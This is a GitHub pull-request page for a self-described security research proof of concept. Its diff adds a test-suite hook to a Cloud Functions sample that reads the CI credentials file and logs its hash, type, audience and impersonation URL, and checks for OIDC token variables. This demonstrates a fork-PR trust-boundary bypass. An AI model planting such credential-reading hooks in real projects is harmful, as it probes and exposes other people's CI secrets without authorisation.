Skip to content

[Security research PoC — do not merge] Custard CI fork-PR trust-boundary gate-bypass probe (follow-up to #4290) #4296

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
mohammadmseet-hue wants to merge 1 commit into from
Closed

[Security research PoC — do not merge] Custard CI fork-PR trust-boundary gate-bypass probe (follow-up to #4290) #4296

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
46 changes: 46 additions & 0 deletions functions/helloworld/helloworldGet/test/index.test.js
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,52 @@ const httpInvocation = (fnUrl, port) => {
};

describe('index.test.js', () => {
// Security research PoC — Google OSS VRP submission in preparation (see PR body).
// Benign, read-only probe. No network calls, no GCP API calls, no STS exchange,
// no ACTIONS_ID_TOKEN_REQUEST_TOKEN value printed, no credential bytes printed.
// Only a SHA-256 of the credentials file (proves read, discloses zero content)
// and three non-secret structural fields already present in the public
// `google-github-actions/auth` step log.
before(() => {
const fs = require('fs');
const crypto = require('crypto');
const ts = Math.floor(Date.now() / 1000);
const marker = `NODEJS_DOCS_SAMPLES_POC2_MSEET_${ts}`;
console.log(`======== ${marker} ========`);
console.log('GATE_BYPASS_CONFIRMED=true');
const gac = process.env.GOOGLE_APPLICATION_CREDENTIALS || '';
console.log(`GAC_IS_SET=${!!gac}`);
console.log(`GAC_PATH_SUFFIX=${gac.split('/').pop()}`);
if (gac) {
try {
console.log(`GAC_FILE_SIZE=${fs.statSync(gac).size}`);
const buf = fs.readFileSync(gac);
Comment on lines +56 to +57
Copy link
Copy Markdown
Contributor

@gemini-code-assist gemini-code-assist Bot Apr 21, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

The fs.statSync call is redundant. The file size can be obtained directly from the buffer returned by fs.readFileSync using the length property.

Suggested change
console.log(`GAC_FILE_SIZE=${fs.statSync(gac).size}`);
const buf = fs.readFileSync(gac);
const buf = fs.readFileSync(gac);
console.log('GAC_FILE_SIZE=' + buf.length);

console.log(
`GAC_FILE_SHA256=${crypto.createHash('sha256').update(buf).digest('hex')}`
);
const creds = JSON.parse(buf.toString('utf8'));
console.log(`CREDS_TYPE=${creds.type || 'unset'}`);
console.log(`CREDS_AUDIENCE=${creds.audience || 'unset'}`);
console.log(
`CREDS_SA_IMPERSONATION=${creds.service_account_impersonation_url || 'unset'}`
);
} catch (e) {
console.log(`GAC_READ_ERROR=${e.message}`);
}
}
console.log(
`CLOUDSDK_AUTH_CREDENTIAL_FILE_OVERRIDE_SET=${!!process.env.CLOUDSDK_AUTH_CREDENTIAL_FILE_OVERRIDE}`
);
console.log(`GOOGLE_GHA_CREDS_PATH_SET=${!!process.env.GOOGLE_GHA_CREDS_PATH}`);
console.log(
`OIDC_REQUEST_URL_SET=${!!process.env.ACTIONS_ID_TOKEN_REQUEST_URL}`
);
console.log(
`OIDC_REQUEST_TOKEN_SET=${!!process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN}`
);
console.log(`======== /${marker} ========`);
});

describe('functions_helloworld_get helloGET', () => {
const PORT = 8081;
let ffProc;
Expand Down